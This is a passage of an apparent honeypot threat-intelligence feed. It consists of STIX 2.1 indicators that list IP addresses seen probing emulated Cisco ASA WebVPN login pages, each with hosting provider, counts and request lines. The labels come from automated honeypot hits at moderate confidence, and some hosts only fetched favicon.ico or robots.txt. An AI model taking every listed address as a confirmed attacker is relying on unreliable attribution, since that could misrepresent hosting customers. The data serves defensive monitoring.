          "first_seen": "2026-05-26T19:29:16.520Z",
          "last_seen": "2026-05-26T19:29:19.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T20:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7384e8f6-4b20-41f4-9487-c4a93d45e524",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.237.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:20:05.000Z",
      "valid_until": "2026-06-27T20:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T19:23:54.693Z",
          "last_seen": "2026-05-30T10:42:33.843Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--d14cc49c-5069-4e4f-b196-e9ef84523a03",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.26.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:20:15.000Z",
      "valid_until": "2026-06-28T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T01:04:42.044Z",
          "last_seen": "2026-05-31T05:15:38.582Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--dba161d9-f0b8-48c7-9477-75f9bf10ecf5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.6.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:20:15.000Z",
      "valid_until": "2026-06-28T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T01:05:54.323Z",
          "last_seen": "2026-05-27T01:06:07.962Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--5c74f681-33a4-42a9-b894-5b51dbfd1b48",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.57.151.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:20:15.000Z",
      "valid_until": "2026-06-28T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T01:05:19.582Z",
          "last_seen": "2026-05-29T03:07:26.045Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--702d2d3b-7e64-4fe9-911b-530b531b4920",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.82.92.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:20:15.000Z",
      "valid_until": "2026-06-28T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T00:51:41.821Z",
          "last_seen": "2026-05-27T01:04:52.849Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f7c79b21-ef6a-4f7e-b6da-ae653aef4057",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.34.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:20:15.000Z",
      "valid_until": "2026-06-28T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T01:12:33.355Z",
          "last_seen": "2026-05-30T13:44:52.700Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--41915bac-7ca4-4f77-a7db-b1577738798a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.226.186.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:20:15.000Z",
      "valid_until": "2026-06-28T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-27T01:04:46.122Z",
          "last_seen": "2026-05-27T01:04:49.123Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2b7cbdb5-20b6-4699-a2fc-9ddd7ffc0f51",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.236.18.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:20:15.000Z",
      "valid_until": "2026-06-28T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-27T00:59:33.571Z",
          "last_seen": "2026-05-27T00:59:33.571Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--a9dc7e46-95aa-4889-86a6-cf8ace869f5e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.15.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:20:05.000Z",
      "valid_until": "2026-06-28T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T02:13:03.523Z",
          "last_seen": "2026-05-27T02:13:15.790Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--319b825c-2f19-4ec1-b199-5df417fa9346",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.81.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:20:05.000Z",
      "valid_until": "2026-06-28T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T02:12:31.375Z",
          "last_seen": "2026-05-31T00:54:10.770Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--4825c478-528a-40dc-9be1-2adbe00b2dbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.161.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:20:05.000Z",
      "valid_until": "2026-06-28T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T01:35:23.034Z",
          "last_seen": "2026-05-27T01:35:39.606Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--c149b65d-77f0-430a-9066-ddff70737357",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.158.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:20:05.000Z",
      "valid_until": "2026-06-28T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-27T02:15:53.802Z",
          "last_seen": "2026-05-29T20:44:58.257Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--403400bd-bd7e-4910-94df-428366dc51b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.198.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:20:05.000Z",
      "valid_until": "2026-06-28T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T01:58:14.668Z",
          "last_seen": "2026-05-27T01:58:24.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--62c93c31-84d5-4831-ae30-670235413228",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.228.49.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:20:05.000Z",
      "valid_until": "2026-06-28T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T01:40:25.484Z",
          "last_seen": "2026-05-27T09:02:49.281Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e8ae9f7a-6862-4218-b95f-8086c264fa04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.40.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:20:05.000Z",
      "valid_until": "2026-06-28T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T01:33:05.201Z",
          "last_seen": "2026-05-27T01:33:15.617Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--f51c72a0-1ece-439f-8399-2c8db3b37e7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.254.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:20:05.000Z",
      "valid_until": "2026-06-28T04:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T03:39:26.280Z",
          "last_seen": "2026-05-27T04:02:24.675Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--765b4801-ba66-4bf0-b065-a18a7a94dd9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.49.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:20:05.000Z",
      "valid_until": "2026-06-28T04:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T03:21:17.649Z",
          "last_seen": "2026-05-28T00:36:37.584Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--305f4d1b-5224-4790-8b73-f3869945fc56",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.189.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:20:05.000Z",
      "valid_until": "2026-06-28T04:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T04:00:25.318Z",
          "last_seen": "2026-05-30T12:09:20.253Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--bd9984ff-06d1-4299-ba58-41e82da036ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.203.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:20:05.000Z",
      "valid_until": "2026-06-28T04:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T03:24:33.941Z",
          "last_seen": "2026-05-28T01:10:21.242Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--872e5dc7-1092-4f0a-b0c8-f48890562b5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.242.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:20:05.000Z",
      "valid_until": "2026-06-28T04:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-27T03:47:15.793Z",
          "last_seen": "2026-05-30T07:02:36.624Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
